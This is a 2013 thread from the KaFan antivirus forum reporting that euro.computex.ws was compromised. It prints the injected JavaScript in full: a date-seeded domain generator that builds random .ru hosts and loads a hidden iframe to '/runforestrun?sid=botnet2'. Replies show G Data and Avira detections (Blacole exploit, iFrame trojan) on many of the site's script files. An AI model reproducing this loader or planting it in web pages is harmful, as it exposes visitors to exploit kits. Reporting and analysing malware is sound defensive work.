查看: 829|回复: 3
收起左侧

[已鉴定] http://euro.computex.ws (挂马by dyy)

[复制链接]
dayangyang
发表于 2013-6-5 18:35:41 | 显示全部楼层 |阅读模式
包括同一域名下的 http://euro.computex.ws/user/xxx
小红伞居然不报。。。。
  1. function nextRandomNumber(){
  2.   var hi = this .seed / this .Q;
  3.   var lo = this .seed % this .Q;
  4.   var test = this .A * lo - this .R * hi;
  5.   if (test > 0){
  6.     this .seed = test;
  7.   }
  8.   else {
  9.     this .seed = test + this .M;
  10.   }
  11.   return (this .seed * this .oneOverM);
  12. }
  13. function RandomNumberGenerator(unix){
  14.   var d = new Date(unix * 1000);
  15.   var s = d.getHours() > 12 ? 1 : 0;
  16.   this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  17.   round(s * 0xFFF));
  18.   this .A = 48271;
  19.   this .M = 2147483647;
  20.   this .Q = this .M / this .A;
  21.   this .R = this .M % this .A;
  22.   this .oneOverM = 1.0 / this .M;
  23.   this .next = nextRandomNumber;
  24.   return this ;
  25. }
  26. function createRandomNumber(r, Min, Max){
  27.   return Math.round((Max - Min) * r.next() + Min);
  28. }
  29. function generatePseudoRandomString(unix, length, zone){
  30.   var rand = new RandomNumberGenerator(unix);
  31.   var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  32.   , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  33.   var str = '';
  34.   for (var i = 0; i < length; i ++ ){
  35.     str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  36.   }
  37.   return str + '.' + zone;
  38. }
  39. setTimeout(function (){
  40.   try {
  41.     if (typeof iframeWasCreated == "undefined"){
  42.       iframeWasCreated = true;
  43.       var unix = Math.round( + new Date() / 1000);
  44.       var domainName = generatePseudoRandomString(unix, 16, 'ru');
  45.       ifrm = document.createElement("IFRAME");
  46.       ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  47.       ifrm.style.width = "0px";
  48.       ifrm.style.height = "0px";
  49.       ifrm.style.visibility = "hidden";
  50.       document.body.appendChild(ifrm);
  51.     }
  52.   }
  53.   catch (e){
  54.   }
  55. }
  56. , 500);
复制代码
fireold
发表于 2013-6-5 19:04:25 | 显示全部楼层
G Data
Web content virus scan

Address:         euro.computex.ws
Virus:         Exploit.JS.Blacole.BQ (Engine A)
Status:         Access denied.


Address:         euro.computex.ws/js/rgbmultiselect-1.0.5.packed.js
Virus:         Exploit.JS.Blacole.BQ (Engine A)
Status:         Access denied.


Address:         euro.computex.ws/ajax/popaps.js
Virus:         Exploit.JS.Blacole.BQ (Engine A)
Status:         Access denied.


Address:         euro.computex.ws/script.js
Virus:         Exploit.JS.Blacole.BQ (Engine A)
Status:         Access denied.


Address:         euro.computex.ws/js/jquery.jcarousel.min.js
Virus:         Exploit.JS.Blacole.BQ (Engine A)
Status:         Access denied.


Address:         euro.computex.ws/static/main/jquery.countdown.js
Virus:         Exploit.JS.Blacole.BQ (Engine A)
Status:         Access denied.
fireold
发表于 2013-6-5 19:08:24 | 显示全部楼层
Avira

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/static/main/jquery.countdown.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/jquery.jcarousel.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/rgbmultiselect-1.0.5.packed.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/ajax/popaps.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/slider_script.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/jsddm.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/new/jquery.cookie.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/script.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/jquery.autocomplete.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/jquery.fancybox-1.3.4.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/new/jquery.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/jquery.json-2.3.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/new/jquery.validate.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/6/5 下午 07:06 [Web Protection] 發現惡意程式碼
      從 URL "http://euro.computex.ws/js/jquery.blockUI.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案
fireold
发表于 2013-6-5 20:18:25 | 显示全部楼层
no4.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 04:07 , Processed in 0.122453 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表